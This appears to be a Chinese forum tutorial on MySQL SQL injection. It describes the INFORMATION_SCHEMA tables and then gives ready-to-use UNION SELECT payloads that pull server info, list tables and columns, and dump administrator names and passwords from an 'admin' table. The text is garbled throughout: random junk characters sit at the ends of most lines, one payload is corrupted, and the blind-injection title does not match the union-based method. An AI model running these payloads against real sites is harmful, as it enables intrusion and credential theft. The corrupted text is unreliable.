本文介绍MYSQL盲注的一些语句和方法: b6 \2 w4 B& x" n7 i* ? N# w
- w) e4 Y' ?1 `学习盲注前先了解下 IFORMATION_SCHEMA 库7 }' p& b7 H2 p. O. j) y
5 v+ ^' ^: w. N: |3 I5 LMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
9 b8 \- k4 T. w! w3 I; h+ P存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。, t. _! V. S& [
1.得到所有数据库名:/ K) |5 _. H" j7 w8 O" ^
|SCHEMATA ->存储数据库名的表) f6 O- @+ o* [# G- K% H' j
|---字段:SCHEMA_NAME ->数据库名称& X/ ~& q5 R# a! n. F2 r; b9 p
* Z8 z, K& ]0 n|TABLES ->存储表名
1 a. D, l8 ?5 A2 B. r( v! }4 f, p( D \- C|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名' o) X4 H2 I- z- R7 S s
|---字段:TABLE_NAME ->存储表的表名
( b: _* n0 ~. K" l0 Q9 o b4 V# ^# K Q! q, T- m
|COLUMNS ->存储的字段名表
" M2 H$ ]- k: L|---字段:TABLE_SCHEMA ->该字段所属数据库名% x1 o+ T" m% J/ x$ ^) d4 S: C! q* H
|---字段:TABLE_NAME ->存储所属表的名称! p/ _% F6 h- C# c' c8 s: K
, k1 Q9 Y3 A D& C6 j' A
|---字段:COLUMN_NAME ->该字段的名称$ K* `! C/ s; N! G b0 b
4 g8 Z0 G5 j% Z8 o
& A2 H# r) h0 i6 _
5 Q2 N6 Q0 b& j" o- r9 U3 v8 [; O###########################################################################. R7 {1 i5 X6 z S2 K! B3 M
2 {8 s/ E. W# h# [
0x001 获取系统信息:
8 U8 g+ o" z; b# O' ~2 r. z0 Q$ ?+ U5 {& j6 Y1 M
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*) S7 I6 I. {' B. G* }) b N
/ u/ S8 p/ `# O9 A/*: t$ R5 a! D2 @- {+ C! S. @
- b1 K% {) R0 b3 Y# @, C; }@@global.version_compile_os 获取系统版本
4 z" W4 T1 f6 o0 m& v7 Z7 I# m( A N5 s- Q
@@datadir 数据库路径
9 c' R; `' T4 P7 R' L' Cdatabase() 当前数据库名称; z& _5 C1 H/ e7 q
0x3c62723e 换行HEX值4 d/ x) s$ \& N5 z& z/ Y; `
- ]- F) A1 O2 L \( l6 ~
*/
$ _) a% H9 p+ Z" X* O, e2 m4 a0 R; Q T* u% H6 I
, a- z9 }+ n0 J) n* B
* ]$ H8 o: U) P######################################################################4 X% {$ ^6 s' s
( Z) j0 F! R) k- i/ c: c0x002 获取表名! p: c ^7 q; c6 _& ?$ T8 q. E6 m
) t6 n6 Q6 O' o9 y* j7 Y# s3 j( b2 f
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*: E( g1 C. {& X0 p# \# Q
+ l* X' m3 l. O) k l T* C6 M $ D7 o: E8 }3 i' b
9 o& X9 E+ x, ]" g" o
/*9 r4 S- K: C/ U" {9 W
( W- {' f- \) u5 _% ]
0x67617264656e 为当前数据库名) o: V) x: J, z0 T
& f( M* B ~0 ~
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名, ]/ n; A# C$ t. S! H# t* i1 I
0 V6 y& l( j( X e
*/
2 {. U6 O4 v, B; ~8 P3 Y% B R4 U+ Y
######################################################################2 i' i) X5 t( d# |! A' e
2 ]4 M- p# h) S6 m7 ^4 Z& o
! W$ s) c. |$ ^" `3 {9 X% h8 c
: Y- ~4 y1 _( J; T4 A0x003 获取字段
) B6 m f, ~3 G: L' ?) q1 `
8 ~" C {! O1 R1 e5 B3 Bunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*1 z. `9 @+ v7 e
; a; K: q% O5 f: e4 `
/*
* u3 |* g5 U4 M0 d, B
/ G7 _! P+ [+ H+ \. p) Pgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
3 _) F D2 h8 R( t6 U! d
) ~. J9 w( U. |0x61646d696e ->选择一个表
% E- k) ]8 W/ V; x# m: q4 @2 l' b$ A" s* j5 J, M" t
0x67617264656e ->数据库名2 U' A1 ^& V6 Z' O: z- C
: u& i: T0 W# M2 u4 M+ Z3 ?
*/ \) q* l( h3 A) j
4 h7 x. F( s/ W#####################################################################1 W' H; k0 v" M2 g- t9 x+ I
- }/ u6 X- T& ]2 w$ c
! X+ K1 x- G$ \( V1 p
! x0 y3 s8 }* v M8 s0x004 获取数据
! G7 g5 l/ l, M: L2 f$ t
, k4 [8 p4 S1 i; P9 a' @/ j3 wunion select 1,2,3
! E1 U! A. } j0 f7 t5 J$ i+ ?& |% z,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
1 u) R2 I; ?/ _3 T8 R% n, T3 a% ?( s
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
$ s( B, p, H5 Y9 A5 d: ^+ ]! A$ @' P
/ H( S% s2 ^- R7 d$ I; v0 [# H- e! T4 E6 U: `" y8 G; [- `1 Q
/*
: ^7 a/ M4 V \2 q5 j2 ] G7 H: u0 j- E% m- o* Y* p" f! H" U
0x3c62723e 换行符号HEX编码/ I- x0 e& `+ M: J2 y) p* j7 a
! b$ @# t ` m0 ?7 H
group_concat 同时获得该字段所有数据: p3 |! Y" n @8 D% ]' B+ K
{9 b( c V O) `7 |% i7 r
*/
- A. x7 V7 h4 |0 @$ ^ [: ~/ Q& Q" N, A# U) q& X! r
|